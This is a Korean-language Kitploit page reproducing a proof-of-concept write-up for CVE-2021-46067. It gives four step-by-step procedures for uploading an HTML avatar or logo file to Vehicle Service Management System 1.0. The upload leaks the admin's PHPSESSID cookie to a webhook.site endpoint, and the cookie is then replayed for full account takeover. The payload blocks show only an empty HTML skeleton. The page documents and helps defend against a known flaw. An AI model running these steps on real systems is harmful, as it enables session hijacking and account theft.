Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
Vehicle-Service-Management-System-Multiple-Cookie-Stealing-Leads-to-Full-Account-Takeover — CVE-2021-46067 - Vehicle Service Management System 1.0에서 공격자가 쿠키를 탈취하여 전체 계정 탈취(Full Account Takeover)로 이어질 수 있습니다. | Kitploit
도구/GitHubGitHub/sanupl/vehicle-service-management-system-multiple-cookie-stealing-leads-to-full-account-takeover
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & EducationRed Teaming
GitHubsanupl/vehicle-service-management-system-multiple-cookie-stealing-leads-to-full-account-takeover

Vehicle-Service-Management-System-Multiple-Cookie-Stealing-Leads-to-Full-Account-Takeover

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2021-46067 - Vehicle Service Management System 1.0에서 공격자가 쿠키를 탈취하여 전체 계정 탈취(Full Account Takeover)로 이어질 수 있습니다.

저장소 보기
3개월 전아직 검토되지 않음

CVE-2021-46067

Exploit Title: Vehicle Service Management System - 'Multiple' 쿠키 탈취로 인한 전체 계정 탈취

Exploit Author: SANU P.L

CVE: CVE-2021-46067

CVSS: 9.8 CRITICAL

References:

  • https://www.plsanu.com/vehicle-service-management-system-multiple-cookie-stealing-leads-to-full-account-takeover
  • https://nvd.nist.gov/vuln/detail/CVE-2021-46067
  • https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-46067

설명:

Vehicle Service Management System 1.0에서 공격자가 쿠키를 탈취하여 전체 계정 탈취(Full Account Takeover)로 이어질 수 있습니다.

1. Vehicle Service Management System - 'MyAccount' (/admin/?page=user)

익스플로잇:

  1. 관리자 패널에 로그인합니다. http://localhost/vehicle_service/admin
  2. My Account 섹션으로 이동합니다. http://localhost/vehicle_service/admin/?page=user
  3. Webhook URL을 생성합니다. - https://webhook.site
  4. Webhook 고유 URL을 복사하여 아래 html 코드에 붙여넣습니다.

페이로드:

root@kitploit:~
<!DOCTYPE html>
<html>
<title>Cookie Stealing</title>
<body>

</body>
</html>
  1. 위 html 코드를 저장합니다. 예: Cookie Stealing.html
  2. My Account 섹션에서 필요한 모든 세부 정보를 입력하고 Avatar에서 html 파일을 선택합니다.
  3. 업데이트(update) 버튼을 클릭합니다.
  4. 아바타 이미지를 새 탭에서 열고 Webhook 상태를 확인합니다.
  5. 요청에 PHPSESSID가 포함된 것을 확인했습니다.
  6. PHPSESSID 값을 복사하고 다른 브라우저를 엽니다.
  7. 관리자 패널 http://localhost/vehicle_service/admin 에 접속합니다.
  8. 쿠키 값을 확인하고 PHPSESSID 값을 복사한 PHPSESSID 값으로 변경합니다.
  9. 이제 관리자 패널 http://localhost/vehicle_service/admin 에 접속합니다.
  10. 계정에 성공적으로 로그인되었습니다. 계정 탈취가 성공했습니다.

2. Vehicle Service Management System - 'User List' (/admin/?page=user/manage_user)

익스플로잇:

  1. 관리자 패널에 로그인합니다. http://localhost/vehicle_service/admin
  2. User List 섹션으로 이동하여 Create New 버튼을 클릭합니다.
  3. Webhook URL을 생성합니다. - https://webhook.site
  4. Webhook 고유 URL을 복사하여 아래 html 코드에 붙여넣습니다.

페이로드:

root@kitploit:~
<!DOCTYPE html>
<html>
<title>Cookie Stealing</title>
<body>

</body>
</html>
  1. 위 html 코드를 저장합니다. 예: Cookie Stealing.html
  2. Create New User 섹션에서 필요한 모든 세부 정보를 입력하고 Avatar에서 html 파일을 선택합니다.
  3. 저장(Save) 버튼을 클릭합니다.
  4. 아바타 이미지를 새 탭에서 열고 Webhook 상태를 확인합니다.
  5. 요청에 PHPSESSID가 포함된 것을 확인했습니다.
  6. PHPSESSID 값을 복사하고 다른 브라우저를 엽니다.
  7. 관리자 패널 http://localhost/vehicle_service/admin 에 접속합니다.
  8. 쿠키 값을 확인하고 PHPSESSID 값을 복사한 PHPSESSID 값으로 변경합니다.
  9. 이제 관리자 패널 http://localhost/vehicle_service/admin 에 접속합니다.
  10. 계정에 성공적으로 로그인되었습니다. 계정 탈취가 성공했습니다.

3. Vehicle Service Management System - 'Settings-System Logo' (/admin/?page=system_info)

익스플로잇:

  1. 관리자 패널에 로그인합니다. http://localhost/vehicle_service/admin
  2. Settings 섹션으로 이동합니다. http://localhost/vehicle_service/admin/?page=system_info
  3. Webhook URL을 생성합니다. - https://webhook.site
  4. Webhook 고유 URL을 복사하여 아래 html 코드에 붙여넣습니다.

페이로드:

root@kitploit:~
<!DOCTYPE html>
<html>
<title>Cookie Stealing</title>
<body>

</body>
</html>
  1. 위 html 코드를 저장합니다. 예: Cookie Stealing.html
  2. Settings 섹션에서 필요한 모든 세부 정보를 입력하고 System Logo에서 html 파일을 선택합니다.
  3. 업데이트(update) 버튼을 클릭합니다.
  4. System Logo 이미지를 새 탭에서 열고 Webhook 상태를 확인합니다.
  5. 요청에 PHPSESSID가 포함된 것을 확인했습니다.
  6. PHPSESSID 값을 복사하고 다른 브라우저를 엽니다.
  7. 관리자 패널 http://localhost/vehicle_service/admin 에 접속합니다.
  8. 쿠키 값을 확인하고 PHPSESSID 값을 복사한 PHPSESSID 값으로 변경합니다.
  9. 이제 관리자 패널 http://localhost/vehicle_service/admin 에 접속합니다.
  10. 계정에 성공적으로 로그인되었습니다. 계정 탈취가 성공했습니다.

4. Vehicle Service Management System - 'Settings-Website Cover' (/admin/?page=system_info)

익스플로잇:

  1. 관리자 패널에 로그인합니다. http://localhost/vehicle_service/admin
  2. Settings 섹션으로 이동합니다. http://localhost/vehicle_service/admin/?page=system_info
  3. Webhook URL을 생성합니다. - https://webhook.site
  4. Webhook 고유 URL을 복사하여 아래 html 코드에 붙여넣습니다.

페이로드:

root@kitploit:~
<!DOCTYPE html>
<html>
<title>Cookie Stealing</title>
<body>

</body>
</html>
  1. 위 html 코드를 저장합니다. 예: Cookie Stealing.html
  2. Settings 섹션에서 필요한 모든 세부 정보를 입력하고 Website Cover에서 html 파일을 선택합니다.
  3. 업데이트(update) 버튼을 클릭합니다.
  4. Website Cover 이미지를 새 탭에서 열고 Webhook 상태를 확인합니다.
  5. 요청에 PHPSESSID가 포함된 것을 확인했습니다.
  6. PHPSESSID 값을 복사하고 다른 브라우저를 엽니다.
  7. 관리자 패널 http://localhost/vehicle_service/admin 에 접속합니다.
  8. 쿠키 값을 확인하고 PHPSESSID 값을 복사한 PHPSESSID 값으로 변경합니다.
  9. 이제 관리자 패널 http://localhost/vehicle_service/admin 에 접속합니다.
  10. 계정에 성공적으로 로그인되었습니다. 계정 탈취가 성공했습니다.

영향:

공격자가 악성 html 파일을 업로드하면 제3자 웹사이트로 리디렉션되고 요청에 쿠키가 노출됩니다. 이로 인해 전체 계정 탈취(Full Account Takeover)가 발생할 수 있습니다.

해결 방안:

파일 업로드 기능을 검증하고 세션에서 2차 검사(Secondary Checks)를 수행하는 것이 권장됩니다.

도구 다운로드